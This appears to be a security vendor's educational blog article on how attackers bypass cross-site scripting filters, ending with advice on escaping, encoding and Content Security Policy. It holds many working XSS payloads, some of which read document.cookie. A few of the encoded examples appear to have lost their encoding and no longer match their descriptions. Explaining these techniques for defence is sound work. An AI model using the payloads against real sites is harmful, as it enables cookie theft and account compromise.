XSS Filter Evasion

XSS filter evasion refers to a variety of methods used by attackers to bypass Cross-Site Scripting filters. Attackers attempting to inject malicious JavaScript into web page code must not only exploit an application vulnerability, but also evade input validation and fool complex browser filters. This article looks at some common approaches to XSS filter evasion and shows what you can do to improve application security.

XSS Filter Evasion

XSS filter evasion refers to a variety of methods used by attackers to bypass cross-site scripting (XSS) filters. There are many ways to inject malicious JavaScript into web page code executed by the client, and with modern browsers, attackers must not only exploit an application vulnerability but also evade any input validation performed by the application and server, and fool complex browser filters. This article looks at some common approaches to XSS filter evasion and shows what you can do to improve application security.

XSS Filter Evasion

What Is XSS Filtering and When Is It Used?

Before we look at XSS filter evasion, let’s take a quick look at the concept of XSS filtering. At the application level, this means input validation performed specifically to detect and prevent script injection. Filtering can be done locally in the browser and/or during server-side processing, and for many years this was the main form of filtering. As XSS attacks became more widespread and dangerous, browser vendors started adding protection to prevent at least some Cross-Site Scripting attempts from reaching the user – see this blog post for a detailed discussion of how this functionality works and how it can be abused.

The general idea is that the filter scans code input by the user or arriving at the browser and looks for typical signs of XSS payloads, such as suspicious <script> tags in unexpected places. Common approaches to filtering include complex regular expressions (regex) and code string blacklists. If potentially dangerous code is found, the filter can block either the entire page or just the suspicious code fragment. Both reactions have their disadvantages and can even open up new vulnerabilities and attack vectors, which is part of the reason why some vendors are moving away from integrated browser filters.

All approaches to filtering have their limitations. XSS filtering by the browser can only be effective against reflected XSS attacks, where the malicious code injected by the attacker is directly reflected in the client browser. Filters and auditors are no use in the face of XSS attempts where the attack code is not parsed by the browser, including DOM-based XSS and stored XSS. Server-side filters, in turn, can help against reflected and stored XSS but are helpless against DOM-based attacks, as the exploit code never arrives at the server. And while input filtering by the web application itself can theoretically detect all types of XSS attacks, it comes with its own serious limitations – it can interfere with automated filters and requires frequent updates to keep up with new exploits.

How Attackers Can Bypass Cross-Site Scripting Filters

XSS filtering adds an extra level of difficulty to the work of attackers crafting XSS attacks, as any successfully injected script code also has to get past the filters. While XSS attacks generally target application vulnerabilities and misconfigurations, evasion techniques exploit weaknesses in the browser or server-side filters, down to specific products and versions. 

As shown below, countless evasion approaches exist, but the common denominator is that they all abuse product-specific implementations of web technology specifications. A large part of any browser’s codebase is devoted to gracefully handling malformed HTML, CSS, and JavaScript, and attempting to fix code before presenting it to the user. XSS filter evasion techniques take advantage of this complex tangle of languages, specifications, exceptions, and browser-specific quirks to slip malicious code past the filters.

Examples of XSS Filter Bypass Techniques

Filter evasion techniques can attempt to exploit any aspect of web code parsing and processing, so there are no rigid categories here. The most obvious attempts to inject script tags will generally be rejected, but other HTML tags can also provide injection vectors. Event handlers are often used to trigger script loading, as they can be tied into legitimate user actions. Commonly exploited handlers include onerror, onclick, and onfocus, but the majority of supported event handlers can be used as XSS vectors.

The following examples show a selection of typical approaches, but the list is by no means exhaustive –  see the OWASP XSS Filter Evasion Cheat Sheet for a (very) detailed list of possible evasion vectors (based on rsnake’s original cheat sheet).

Character Encoding Tricks

To bypass filters that rely on scanning text for specific suspicious strings, attackers can encode any number of characters in a variety of ways:

  • Some or all characters can be written as HTML entities with ASCII codes to bypass filters that directly search for a string like javascript:
<a href="javascript:alert('Successful XSS')">Click this link!</a>
  • To evade filters that look for HTML entity codes by scanning for &# followed by a number, hexadecimal encoding can be used for ASCII codes:
<a href="javascript:alert(document.cookie)">Click this link!</a>
  • Base64 encoding can be used to obfuscate attack code – this example also displays an alert saying “Successful XSS”:
<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">
  • All encoded character entities can be from 1 to 7 numeric characters, with initial zeroes being ignored, so any combinations of zero padding are possible. Also note that semicolons are not required at the end of entities:
<a href="javascript&#0000058&#0000097lert('Successful XSS')">Click this link!</a>
  • Character codes can be used to hide XSS payloads:
<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>

Whitespace Embedding

Browsers are very lenient when it comes to whitespace in HTML and JavaScript code, so embedded non-printing characters can be used for bypassing filters:

  • Tab characters are ignored when parsing code, so they can be used to break up keywords, as in this img tag (note that this no longer works in modern browsers):
<img src="java    script:al ert('Successful XSS')">

The tabs can also be encoded:

<img src="java	script:al	ert('Successful XSS')">
  • Just like tabs, newlines and carriage returns are also ignored, and can also be encoded:
<a href="jav
a
script: ale&#x0Drt;('Successful 
XSS')">Visit google.com</a>
  • Some filters may look for “javascript: or ‘javascript: and will not expect spaces after the quote. In fact, any number of spaces and meta characters from 1 through 32 (decimal) will be valid:
<a href="  &#x8; &#23;   javascript:alert('Successful XSS')">Click this link!</a>

Tag Manipulation

  • If the filter simply scans the code once and removes specific tags, such as <script>, nesting them inside other tags will leave valid code after they are removed:
<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>
  • Spaces between attributes can often be omitted. Also, a slash is a valid separator between the tag name and attribute name, which can be useful to evade whitespace limitations in inputs – note no whitespace in the entire string:
<img/src="funny.jpg"onload=javascript:eval(alert('Successful&#32XSS'))>

And another example without any whitespace, this time using the less common svg tag:

<svg/onload=alert('XSS')>
  • Evasion attempts can also exploit browser efforts to interpret and complete malformed tags. Here’s an example that omits the href attribute and quotes (most other event handlers can also be used): 
<a onmouseover=alert(document.cookie)>Go to google.com</a>

And an extreme example of browser completion for a completely wrecked img tag: 

<img """><script src=xssattempt.js></script>">

Internet Explorer Abuse

Because of its many non-standard implementations and quirks related to integration with other Microsoft technologies, Internet Explorer provides some unique filter evasion vectors. (And before you dismiss it as an outdated and marginal browser, remember that many legacy enterprise applications continue to rely on old IE versions.)

  • The majority of XSS checks will check for JavaScript, but Internet Explorer up to IE10 would also accept VBScript:
<a href='vbscript:MsgBox("Successful XSS")'>Click here</a>
  • Another unique IE feature are dynamic properties – the ability to specify script expressions as CSS values:

body { color: expression(alert(‘Successful XSS’)); }

  • The rare and deprecated dynsrc attribute can provide another vector: 
<img dynsrc="javascript:alert('Successful XSS')">
  • Use backticks when you need both double and single quotes: 
<img src=`javascript:alert("The name is 'XSS'")`>
  • In older IE versions, you could also include a script disguised as an external style sheet: 
<link rel="stylesheet" href="http://example.com/xss.css">

Legacy Methods

Finally, here are some vectors that are rejected by most modern browsers:

  • Background image manipulation:
<body background="javascript:alert('Successful XSS')">

Or using a style:

<div style="background-image:url(javascript:alert('Successful XSS'))">
  • Images without img tags:
<input type="image" src="javascript:alert('Successful XSS')">
  • Redirect using a meta tag: In some older browsers, this will display an alert by evaluating Base64-encoded JavaScript code:
<meta http-equiv="refresh" content="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  • And finally, an interesting (though completely unsupported) vector that uses UTF-7 encoding to hide the XSS payload:
<head><meta http-equiv="content-type" content="text/html; charset=utf-7"></head>+adw-script+ad4-alert('xss');+adw-/script+ad4-

How to Protect Your Applications from Cross-Site Scripting

With hundreds of ways of evading filters and new vectors appearing all the time, it’s clear that filtering alone is not the solution. Filters don’t prevent XSS attacks but merely eliminate a narrow subset of code patterns behaviors that may be attack attempts. In effect, filtering is solving the wrong problem by trying to prevent any calls that load malicious code instead of blocking the code itself. This is part of the reason why browser vendors are increasingly moving away from filtering.

By writing secure code that is not susceptible to XSS attacks, developers can have far more effect on application and user security than any filters. On the application level, this can be achieved by correctly applying context-sensitive escaping and encoding. On the HTTP protocol level, the main weapon against Cross-Site Scripting is the use of suitable HTTP security headers, especially properly configured Content Security Policy (CSP) headers. And as ever, regularly checking your applications using an enterprise-grade web vulnerability scanner is essential for keeping your security up-to-date.

Zbigniew Banach

About the Author

Zbigniew Banach - Technical Content Lead & Managing Editor

Cybersecurity writer and blog managing editor at Invicti Security. Drawing on years of experience with security, software development, content creation, journalism, and technical translation, he does his best to bring web application security and cybersecurity in general to a wider audience.